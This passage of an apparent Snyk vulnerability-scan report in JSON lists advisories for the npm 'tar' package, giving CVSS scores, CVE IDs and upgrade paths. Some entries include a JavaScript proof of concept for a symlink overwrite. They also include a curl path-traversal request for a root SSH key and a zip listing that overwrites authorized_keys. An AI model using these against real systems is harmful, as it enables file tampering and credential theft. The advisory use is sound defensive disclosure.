"severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": 